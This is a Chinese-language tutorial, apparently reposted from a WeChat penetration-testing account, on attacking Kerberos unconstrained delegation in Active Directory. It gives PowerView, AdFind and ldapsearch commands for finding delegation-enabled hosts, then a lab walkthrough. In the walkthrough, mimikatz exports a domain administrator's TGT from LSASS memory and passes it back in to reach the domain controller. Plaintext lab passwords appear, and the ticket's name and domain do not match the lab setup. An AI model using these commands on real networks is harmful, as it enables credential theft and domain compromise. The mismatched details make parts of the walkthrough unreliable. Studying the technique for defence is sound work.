1.非约束性委派
在WindowsServer2000首次发布ActiveDirectory时,Microsoft就提供了一种简单的机制来支持用户通过Kerberos向Web服务器进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案,这就是最早的非约束性委派(UD:UnconstrainedDelegation)。对于非约束性委派,服务账号可以获取被委派用户的TGT认购权证,并将TGT认购权证缓存到LSASS进程中,从而服务账号可使用该TGT认购权证,模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。
•配置了非约束性委派属性的机器账号的userAccountControl属性有个Flag位:WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。
•配置了非约束性委派属性的服务账号的userAccountControl属性有个Flag位:NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x80200=524800。
下图所示是微软官方对于非约束性委派流程的介绍:
2.查询非约束委派的主机或服务账户
查询非约束性委派的主机或服务账号可以使用powershell脚本、adfind或ldapsearch等工具。
(1)powershell脚本
利用PowerSploit下的PowerView.ps1脚本查询
Import-Module .PowerView.ps1;
查询域中配置非约束委派的主机
Get-NetComputer -Unconstrained -Domain rkabyss.com
查询域中配置非约束委派的服务账户
Get-NetUser -Unconstrained -Domain rkabyss.com | select name
(2)adfind
利用adfind执行如下命令过滤samAccountType和userAccountControl属性,即可查询出域内配置了非约束性委派的主机和服务账号。
查询域中配置非约束委派的主机
AdFind.exe -b "DC=rkabyss,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
查询域中配置非约束委派的服务账户
AdFind.exe -b "DC=rkabyss,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
(3)ldapsearch
利用ldapsearch执行如下命令过滤samAccountType和userAccountControl属性,即可查询出域内配置了非约束性委派的主机和服务账号。
查询域中配置非约束委派的主机
ldapsearch -x -H ldap://10.10.10.4:389 -D "hack01@rkabyss.com" -w P@ss1234 -b " DC=rkabyss,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
查询域中配置非约束委派的服务账户
ldapsearch -x -H ldap://10.10.10.4:389 -D "hack01@rkabyss.com" -w P@ss1234 -b " DC=rkabyss,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
3.非约束委派攻击
以下是实验环境:
•域控:AD01(10.10.10.4)
•域成员主机:Windows10(10.10.10.6)
•域管理员:administrator
•域普通用户:rkabyss
•域:rkabyss.com
非约束性委派攻击可以利用服务账号和主机账号,因为只有服务账号和主机账号具有委派属性。域用户账号注册SPN之后就成为了服务账号,主机账号的话我们可以手动去创建。
如图所示,在域控上配置主机WIN10具有非约束性委派属性。
在win10上访问域控,提示拒绝访问。
我们用域管理员administrator身份远程访问win10机器。
net use \win10.rkabyss.com /user:rkabyssadministrator P@ssword1234
域管理员administrator远程连接win10机器。
此时,在主机win10的lsass.exe内存中就会有域管理员test的TGT认购权证。我们在win10上以管理员权限运行mimikatz,执行以下命令导出内存中的票据:
privilege::debug
sekurlsa::tickets /export
使用mimikatz导出内存中的票据:
可以看到会生成一个Administrator@krbtgt的票据。
然后我们用mimikatz执行如下命令将这个票据导入内存中。
kerberos::ptt [0;58cdc]-2-0-60a10000-test@krbtgt-XIE.COM.kirbi
查看票据
kerberos::list
使用mimikatz将票据导入内存中,然后访问域控,可以看到导入票据后成功访问域控。
原文始发于微信公众号(我真不会渗透):委派攻击-非约束委派攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论